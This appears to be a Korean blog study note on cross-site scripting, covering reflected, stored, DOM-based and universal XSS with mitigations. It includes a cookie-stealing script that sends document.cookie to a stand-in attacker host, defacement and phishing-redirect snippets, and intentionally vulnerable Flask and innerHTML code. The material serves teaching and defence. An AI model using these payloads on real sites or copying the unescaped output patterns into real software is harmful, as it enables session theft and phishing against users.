[2025-07-10] XSS

🦥 본문

정의

Cross-Site Scripting. 웹 페이지에 악성 스크립트를 삽입해서, 의도하지 않은 스크립트를 실행시키는 웹 해킹 기법

악성 스크립트

쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

페이지 변조 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Reflected XSS

악성 스크립트를 URL, form 등에 삽입하여 백엔드에서 해석하고 처리되어 페이지에 반영하는 형태. 공격자의 입력이 즉시 페이지 응답에 반영한다.

악성 스크립트가 포함된 링크에 접속하도록 유도해야 하는 데 직접 링크를 전달하는 방법보다는 Click Jacking 또는 Open Redirect 방법과 연계하여 사용한다

**from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    # http://localhost:5000/?name=<script>alert('XSS');</script>
    name = request.args.get('name', 'World')
    return f"<h1>Hello {name}!</h1>"  # not enough filtering : XSS possible

if __name__ == '__main__':
    app.run(debug=True)**

위와 같은 경우 GET 방식으로 name을 받아서 실행하는 데, name 부분을 악성 스크립트를 넣어서 보내 공격자가 원하는 JS code를 실행시킬 수 있다.

Stored XSS

악성 스크립트를 서버에 저장하게 하여 이후 해당 데이터를 조회하는 다른사용자에게 스크립트가 실행되게 하는 방식. 다른 사용자에게 자동 전파가 가능하여 가장 위험한 XSS 중 하나이다.

@app.route('/submit', methods=['GET', 'POST'])
def submit():
    if request.method == 'POST':
        msg = request.form.get('message', '')
        conn = get_db()
        conn.execute("INSERT INTO messages (content) VALUES (?)", (msg,))
        conn.commit()
        conn.close()
        return redirect('/messages')
    
    return '''
        <form method="post">
            <input type="text" name="message">
            <input type="submit">
        </form>
    '''

@app.route('/messages')
def messages():
    conn = get_db()
    msgs = conn.execute("SELECT content FROM messages").fetchall()
    conn.close()
    output = "<h1>Messages</h1>"
    for m in msgs:
        output += f"<p>{m['content']}</p>"
    return output

if __name__ == '__main__':
    app.run(debug=True)

/submit API를 통해 message를 받게 된다. 이 때 악성 스크립트를 보내어 DB에 저장하게 한다.

/message API에서 메시지 값들을 보여줄 때, 악성 스크립트가 같이 실행된다.

DOM-based XSS

브라우저의 JS code가 직접 DOM에 반영하면서 발생하는 XSS이다. 서버가 아닌 클라이트 측에서 발생한다.

// 해시를 읽어서 페이지에 출력
const comment = location.hash.slice(1);
document.getElementById("output").innerHTML = comment;

https://example.com/#<script>alert(1)</script>

해시를 읽어서 페이지에 출력하는 코드에서 아래와 같은 URL을 입력하면 의도하지 않는 스크립트가 실행된다.

Universal XSS (UXSS)

브라우저의 취약점을 이용해 발생하는 XSS 공격. SOP를 무시하고 다른 도메인의 쿠키, 세션, 로컬 스토리지에 접근 하는 공격

대응 방안

  1. 입력값 검증 및 필터링

    → 특수 기호나 “Script” 등의 위험한 문자열 검열

  2. 출력 시 인코딩

    → 브라우저에 출력되기 전 URL encoding, HTML encoding으로 XSS를 방지

  3. 라이브러리/API 내부 보호기작 : Flask, node.js

    → ex) Flask의 render_template() 함수를 사용해 리소스를 띄우면 내부 로직에서 XSS 필터링이 동작

  4. Set HttpOnly flag on Cookies

    → Cookie는 Client 측 Script 등에서 접근 불가. 백엔드에서 읽고 줄 수 있음

  5. CSP : “src” attribute 등에 Get 요청을 보내는 것을 허용하는 규칙을 세울 수 있음. HTML의 meta 태그에서 확인/설정 가능. HTTP Header에서도 볼 수 있으며 이를 토해 브라우저는 Get 요청을 보낼 수 있는 서버를 제한

Categories:

Updated:

Leave a comment